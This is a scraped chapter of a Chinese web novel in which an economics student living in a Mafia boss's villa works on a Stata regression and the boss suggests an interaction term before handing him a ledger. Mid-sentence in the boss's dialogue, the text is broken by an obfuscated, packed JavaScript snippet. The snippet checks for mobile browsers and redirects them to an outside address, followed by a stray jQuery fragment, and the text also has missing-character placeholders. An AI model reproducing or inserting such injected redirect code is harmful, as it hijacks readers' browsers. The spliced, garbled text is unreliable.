默认冷灰
24号文字
方正启体

12. chapter12

作者:夜安Mocha本书字数:K更新时间:
    别问我为什么一个Mafia会突然出现在我房间门口,问就是这里本来就是他的房子,他想什么时候来就什么时候来。


    以及,他随口说出的那句话,让我整整算了二十分钟。


    ---


    新电脑比我想象的来得快。


    西里森敲门的时候,我正在书桌前对着那本《宏观经济学概论》发呆——不对,是在复习索洛模型。虽然请假条已经批了,作业也托周姐交了,但课不能落下。奖学金审核看的是最终成绩,不是“你有没有合理的请假理由”。


    门敲了三下,节奏均匀,力度适中。


    “请进。”我从椅子上站起来。


    西里森推门进来,手里抱着一个白色的纸箱,上面印着一个被咬了一口的苹果的logo。他把纸箱放在书桌上,然后用一种公事公办的语气说:“林恩先生,电脑已经按照BOSS的要求配置好了。微信和Zoom都已经安装,网络已经连接,您可以直接使用。”


    “谢谢。”我说。


    西里森点了点头,转身走了。走到门口的时候,他停了一下,回过头来看了我一眼。


    那个眼神里有一种说不清道不明的东西。不是敌意,不是好奇,更像是……同情?


    我在他心里到底是个什么形象。


    算了,不想了。


    我拆开纸箱,拿出那台崭新的笔记本电脑。银灰色的金属外壳, retina屏幕,触控板大得离谱。我翻开屏幕,按下电源键,系统启动的速度比我那台用了四年的旧电脑快了不知道多少倍。


    桌面很干净,只有几个图标——微信、Zoom、Stata、Chrome,还有一个我不知道是什么的软件,图标是一个蓝色的圆点,没有标签。


    我盯着那个蓝色圆点看了两秒钟。


    监控软件。


    绝对是监控软件。


    但我不敢点开,也不敢删。我假装没看到,打开微信,登录。


    微信居然已经登录了,账号是我的。这说明他们在拿到电脑之前就知道我的微信号。


    没关系,反正我的微信里也没什么见不得人的东西。最多就是和周姐的聊天记录里吐槽过“意大利的快递慢得像蜗牛”,和群里的同学讨论过“哪家中超的老干妈最便宜”。这些内容,就算被监控了,也不会给维斯科尼家族带来任何情报价值。


    我打开Stata,跑了一个简单的回归测试。速度很快,比学校机房的电脑快多了。


    我又打开了那个叫“工作文件”的文件夹。里面是空的。


    我开始下载课程资料。


    学校的在线学习平台需要学生账号登录,我用的是自己的账号——他们没有改我的密码,至少这一点让我松了一口气。我把这学期所有课程的课件、作业要求、参考文献列表全部下载下来,整整齐齐地分类放在桌面上。


    计量经济学,宏观经济学,国际经济学,金融学基础,意大利语进阶。


    四门主课,一门语言课。


    每门课都有作业、有阅读材料、有期末项目。


    我盯着屏幕上整整齐齐的文件夹,忽然觉得——签合同、买衣服、换手机、住庄园,这一切都像是一场梦。而真正让我觉得“我还在上学”的,是这些课件和作业。


    我们的项目群叫“数据跑不完组”,名字是我取的,因为当初大家都觉得这个项目太难了,搞不定。


    我点开群聊,已经有十几条消息了。


    周姐:“小林子到底什么时候上线?我等得花都谢了。”


    刘洋:“小林子是不是真的被绑架了?数据我都爬完了,大概五千多条,够你们跑模型了。”


    张凯:“哈哈哈哈他要是被绑架了还能在群里冒泡?”


    周姐:“他之前发消息说网络环境要调整,你们说他是不是真的搬家了?”


    刘洋:“搬家?他那个破出租屋还能搬到哪去?搬到桥洞里?”


    张凯:“桥洞里有WiFi吗?”


    我翻了个白眼,打字回复:“在线,网络环境刚调整好。”


    “什么网络环境要调整这么久?”张凯是学信息管理的,打字带着一股子IT男的直白,“你那边是拨号上网吗?”


    “差不多,”我耸了耸肩,“比拨号还难搞。”


    周姐:“所以你真搬家没?”


    我想了想,回复:“嗯,搬了。”


    “搬到哪了?”


    “郊区。”


    “郊区???巴勒莫的郊区???你一个人住郊区???”


    “跟朋友合租。”我打完这四个字的时候,手指顿了一下。


    朋友……洛伦佐算是朋友吗?肯定不算。他是老板?雇主?房东?监工?


    算了,不重要。


    张凯发了一个“震惊”的表情包:“小林子你居然搬去郊区了?你不是说你的底线是不离开大学周边五公里吗?”


    “情况有变。”我说。


    “什么情况?”


    “生活所迫。”


    周姐发了一长串问号,然后说:“你是不是被那个新老板威胁了?”


    我的心跳漏了一拍,她怎么猜到的?


    “没有没有,”我打字,“这边房租更便宜。”


    这倒是实话,洛伦佐没收我房租。


    我也付不起。


    “房租便宜?”周姐的语气里带着怀疑,“巴勒莫郊区哪来的便宜房子?我去年看了一圈,郊区比城里还贵,因为有海景。”


    “……我这个没有海景。”


    “那你搬它干嘛?”


    “为了……安静。对,安静,做作业方便。”


    周姐发了一个“好吧”的表情,然后说:“那周五的聚会你还来吗?郊区过来至少四十多分钟。”


    “来,可乐我会买,买一整箱!”


    然后我打开Zoom,创建了一个临时会议链接,把链接发到群里。


    “语音聊吧,打字太慢了。”我说。


    三十秒后,三个人都进来了。


    “喂?能听到吗?”


    “听到了!”刘洋的声音从耳机里传来,“小林子你终于活了!我昨天还猜你被外星人绑架了!”


    “比外星人绑架好不到哪去。”我小声嘀咕了一句。


    “你说什么?”


    “没什么没什么,”我赶紧说,“数据呢?你把数据发我,我先跑一下描述性统计。”


    “发了,”刘洋说话声音嘎吱嘎吱的,像是在吃东西,“群文件,你收一下。”


    我打开群文件,看到一个压缩包,下载,解压,导入Stata。一切都很顺利,顺利得让我有点不安。按照墨菲定律,顺利往往意味着后面要出大问题。


    “好了,”我说,“数据导入了,我先看一下变量的分布。”


    “你快点看,”周姐说,“我这边文献综述写得差不多了,就差你的结果来支撑论点了。”


    “别催别催,”我一边说一边在Stata里敲命令,“好的数据需要时间酝酿,就像好的红酒需要时间醒酒——”


    “你上次交作业前一天晚上才跑数据,熬到凌晨三点,现在跟我说‘好的数据需要时间酝酿’?”张凯的声音从耳机里传来,带着一种“我早就看透你了”的无奈。


    “那次是意外,”我说,“这次不会了。”


    我开始跑描述性统计。Stata的界面在屏幕上跳动着,一行一行的数字冒出来。均值、标准差、最小值、最大值……一切都看起来很正常,正常得让我觉得哪里不太对。


    “均值看起来还可以,”我一边看一边说,“标准差也不算大,没有极端异常值——等等。”


    我的手指停在了键盘上。


    “怎么了?”周姐问。


    “游客数量的最大值,”我盯着屏幕上的数字,“十九万八千……这不太对吧?巴勒莫的单月游客数量什么时候上过十九万?”


    “数据有问题?”刘洋的声音拔高了一点。


    “我查一下,”我说,打开原始数据文件,翻到游客数量那一列,“这里,你看,十月,十九万八千。但是巴勒莫的旅游旺季是夏季,十月应该已经降下来了,怎么可能比八月还高?”


    “是不是爬虫爬错了?”张凯问。


    “有可能,”刘洋说,“我看看源网站……等一下,这个网站的数据标注有问题,它把‘全年累计’和‘月度数据’混在一起了。这个十九万八应该是全年的累计,不是十月的单月。”


    “所以我们的数据里有脏数据,”我深吸一口气,“得重新清洗。”


    “又要重新清洗?”刘洋的声音里带着一种“我已经不想再看到这个项目”的疲惫。


    “没事没事,”我说,“把那些明显不对的极端值删掉就行。我来弄,很快的。”


    我打开Stata的do-file编辑器,开始写清洗数据的命令。drop if tourist_number > 50000——把单月游客数量超过五万的都删掉,因为巴勒莫的单月游客数量就没超过五万过。


    写完,运行。


    Stata的屏幕上跳出一行字:150 observations deleted。


    一百五十条数据被删掉了。


    “好了,”我说,“数据清洗完了,我再跑一下描述性统计。”


    这次的结果看起来正常多了。均值、标准差、都在合理范围内,游客数量的最大值是四万八,八月的,符合旅游旺季的规律。


    “可以了,”我说,“数据没问题了,我开始跑回归。”


    “等等,”周姐说,“你上次说的那个异方差性问题,你打算怎么处理?”


    “用稳健标准误,”我说,“White异方差一致估计量,简单粗暴。”


    “你确定?”周姐的语气里带着一丝怀疑,“上次教授不是说,稳健标准误只是治标不治本吗?”


    “我知道,”我说,“但我们现在没有时间去做加权最小二乘法了。先用稳健标准误顶着,等结果出来了再说。”


    我一边说一边在键盘上敲命令,regress consumption tourist_number ie season, robust——消费对游客数量、收入、季节的回归,加上稳健标准误。


    回车。


    Stata的屏幕开始跳动,我盯着屏幕,手指在桌面上无意识地敲着。


    “这个变量的系数不显著,”我自言自语,“可能需要换个度量方式。”


    “什么?”周姐在耳机里问。


    “没什么,我在自言自语。”


    我在纸上写下几个数字,画了一个箭头,在旁边标注了“需要进一步检验”。


    笔尖在纸上划过的声音,在安静的房间里显得格外清晰。


    耳机里,刘洋正在和张凯讨论数据收集的细节。周姐在翻文献,我听到了她翻书的声音。


    一切都很正常。


    一切都很——


    门被推开了。


    直接的、毫不犹豫的、推开自己家门一样的推法。


    我转过头。


    洛伦佐站在门口。


    他今天穿的是一件黑色的薄毛衣,深灰色的长裤,手里端着一杯咖啡。黑发微微有些凌乱,翠绿色的眼睛在房间昏暗的光线里亮得像两块顶级翡翠。


    他就那么站在门口,看着我。


    看着戴着耳机、嘴巴上还在念叨着“稳健标准误”“异方差性”“拟合优度”的我。


    看着我面前那台新电脑上正在跑数据的Stata界面。


    看着我手边那张写满了公式和数字的草稿纸。


    那一瞬间,我觉得自己的心脏从胸腔里跳了出来,在地板上弹了三下,然后滚到了洛伦佐的脚边。


    “老老老老老板?!”我猛地从椅子上弹起来,动作大到差点把椅子掀翻。


    “不好意思各位,”我对着麦克风说,语速快得像机关枪,“突然想起了我的电饭煲还在煮东西先下了,等我煮完看群消息记录!拜拜!”


    关掉语音。


    房间里安静得能听到Stata还在后台运行的嗡嗡声。


    从椅子上跳起来的时候,我的膝盖撞到了桌腿。痛感从膝盖骨传上来,但我没敢龇牙咧嘴,因为洛伦佐正看着我。


    “老板,”我站在椅子旁边,声音干涩得像嚼了一包沙子,“您有什么吩咐?”


    洛伦佐没有回答。


    他端着咖啡杯,慢慢走进来,皮鞋踩在地毯上一点声音都没有。直到他走到我的书桌前,低头看了一眼那张写满了公式和数字的草稿纸。


    我的字很丑,数字挤在一起,公式的符号歪歪扭扭,有些地方还画了箭头和圈圈,整张纸看起来像是一张被猫抓过的藏宝图。


    洛伦佐看了大概两秒钟。


    然后他伸出手,指了指草稿纸中间的一个地方。


    “这里,”他的声音不大,“你的模型遗漏了季节□□互项。巴勒莫的旅游消费在夏季和冬季的弹性系数是不一样的,你只加了季节虚拟变量,没有考虑季节与游客数量的交互效应。”


    我的脑子像是被人按下了暂停键。


    我看着洛伦佐指的那个地方,看着那条我写了一半的回归方程,看着那个被我忽略的交互项。


    然后我的脑子开始飞速运转。


    交互项!季节和游客数量的交互项!我怎么没想到?


    “把季节虚拟变量和游客数量乘起来,”洛伦佐继续说,翠绿色的眼睛依然盯着草稿纸,“形成一个新的交互变量,加入回归方程。这样你就能捕捉到不同季节下游客数量对消费的边际影响差异。”


    他端起咖啡杯,喝了一口。


    “你的R-squared现在是多少?”


    “……0.62。”我说。


    “加了交互项之后,应该能到0.7以上。”


    我张了张嘴,想说点什么,但喉咙像是被什么东西堵住了。


    并不是因为他的建议有多精妙,虽然确实很精妙。但更重要的是,他刚才说的那一串话,不是一个外行人能说出来的。季节□□互项、边际影响、R-sq


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449722|201143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    uared……这是计量经济学的专业术语,不是随便翻两页书就能懂的。


    我看着洛伦佐。


    洛伦佐看着我。


    翠绿色的眼睛里没有任何多余的情绪,就好像他刚才只是在说“你的咖啡凉了”。


    “你……”我顿了一下,“你怎么知道?”


    “什么怎么知道?”


    “交互项,R-squared,你怎么知道这些?”


    洛伦佐没有回答。他端着咖啡杯,转身走到窗边,看着窗外的花园。阳光落在他身上,在他的毛衣上镀了一层薄薄的金色。


    “你忘了,我是在博科尼大学读的金融。”


    “那是金融学。”我的声音小得像蚊子叫,“这是经济学。”


    洛伦佐端着咖啡杯的手顿了一下,翠绿色的眼睛看着我,那个眼神里有好气有好笑。


    “金融学,”他说,“和经济学,区别很大吗?”


    “区别挺大的,”我说,“金融更偏向资产定价和公司财务,经济学更偏向——”


    “我知道区别。”洛伦佐打断了我。


    我熟练地闭嘴。


    然后我又想起来他书房里那些经济学书籍,我当时以为那些书只是装饰,毕竟有钱人的书房里都喜欢放几本看起来很学术的书充门面。


    但现在回忆起来,那上面的折痕和翻阅痕迹,并不是装饰。


    洛伦佐站在窗边,背对着我,继续喝他的咖啡。


    我站在那里,手里还攥着那支笔,脑子里在飞速地计算。


    加了交互项之后,模型会变成什么样?R-squared能提高多少?系数的显著性会不会变化?多重共线性会不会有问题?


    我坐回椅子上,拿起笔,继续在草稿纸上算。


    算着算着,我就忘记了时间。


    Stata的屏幕上,新的回归结果已经跑出来了。我看了一眼R-squared,0.74。


    0.74,比之前高了0.12。


    交互项的系数是正的,显著,p值小于零点零一。


    “还真是……”我喃喃自语,手指在键盘上飞快地敲着,又跑了几组不同的模型设定,结果都很稳健。


    我完全沉浸在了数据里,直到我忽然意识到一件事——


    洛伦佐还在。


    他没有走。


    他靠在窗边,手里端着那杯已经不知道喝了多久的咖啡,翠绿色的眼睛正看着我。


    他在看我计算。


    全程。


    我愣了一下,手里的笔停在了纸上。


    “那个,”我说,“老板您……还在啊?”


    洛伦佐没有回答这个问题。他只是微微抬了抬下巴,朝电脑屏幕的方向扬了一下。


    “结果怎么样?”


    “R-squared0.74,”我说,“交互项显著,符号为正。说明夏季游客数量对消费的边际影响确实更大。”


    洛伦佐点了点头,眼神里没有嘲讽,没有得意,没有“你看我比你厉害”的炫耀,只有一种平静的、理所当然的笃定。


    我张了张嘴,想说点什么,但脑子里在想,这个人,一个Mafia首领,刚才给我提了一个计量经济学的建议,而且这个建议让我的模型拟合度提高了十二个百分点。


    我看着洛伦佐,洛伦佐看着我。


    “谢谢你,老板。”


    这句话说出来的时候,我自己都觉得有点奇怪。我在谢谢一个Mafia首领帮我改作业,这句子放在任何语境下都不太正常。


    洛伦佐没接话。


    “需要多久?”他问。


    “什么?”


    “你的模型,”他说,“需要多久能搞定?”


    我看了看电脑屏幕上的Stata界面,又看了看手边那张写满了公式的草稿纸,认真地思考了一下。


    “如果数据没有问题的话,”我很认真地说,“大概还需要一两个小时。要把交互项正式写进论文的方法部分,重新跑所有的回归,做稳健性检验,然后把结果整理成表格发到小组。”


    “一两个小时。”洛伦佐重复了一遍。


    “对,”我说,“可能一个半小时,可能两个小时,看稳健性检验的结果。”


    洛伦佐点了点头,转身往门口走。


    走到门口的时候,他停了一下。


    “写完了来书房找我。”


    然后他走了出去。


    门在他身后轻轻关上了。


    我坐在椅子上,看着那扇关上的门,脑子里的CPU温度比刚才跑数据的时候还高。


    他为什么要看我写作业?


    他为什么要在书房等我?


    他为什么……


    不行,现在想就没法继续算数据了。


    我转回头,看着屏幕上Stata的界面,深吸一口气,手指在键盘上飞快地敲着,眼睛盯着屏幕,脑子里在计算着每一个系数的经济含义。


    一个半小时后。


    回归结果全部跑完,稳健性检验通过,表格整理完毕。我打开文档,开始写方法部分的文字说明。


    写完最后一个句号的时候,我靠在椅背上,长长地呼出一口气。


    然后我站起来,拿起那台新电脑,走出房间,穿过走廊,走下楼梯。


    书房的门开着。


    洛伦佐坐在办公桌后面,面前摊着一份文件,手里拿着一支笔。他抬起头,翠绿色的眼睛看着我。


    “写完了?”他问。


    “写完了,”我说,“数据没问题,模型通过了稳健性检验。谢谢老板的建议,R-squared提高了。”


    洛伦佐点了点头,低下头继续看文件。


    我站在门口,不知道该不该进去。


    “进来,”他说,没有抬头,“门关上。”


    我走进去,轻轻关上了门。


    书房里的灯光很温暖,黄铜台灯的光晕落在洛伦佐的侧脸上,在他黑色的头发上投下一小片柔和的光影。


    “坐。”他说。


    我坐下了。


    我坐下之后,洛伦佐没有立刻说话。他继续看了一会儿文件,笔尖在纸上划了几下,然后合上文件夹,把它推到桌角。


    然后洛伦佐从抽屉里拿出一本东西,随手扔在桌上。


    “看看这个。”他说。


    我低头一看,是一本账本。深蓝色的封皮,A4纸大小,厚度大概两厘米,边角有些磨损,看起来被翻过很多次。封面上没有写字,没有任何标识,只有右下角有一个小小的烫金符号,和我那张黑卡上的符号一模一样。


    我翻开第一页。


    手写的,意大利语,字迹潦草但不凌乱,每一行都有对应的数字,借方、贷方、余额,整整齐齐地列了三列。


    纸张微微发黄,有一股陈旧的纸墨味道。


    我的意大利语水平有限,但数字是国际通用的语言。


    “这是……”我抬起头看着洛伦佐。


    “某个项目的账本,”洛伦佐靠在椅背上,翠绿色的眼睛看着我,“你分析一下盈利能力。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)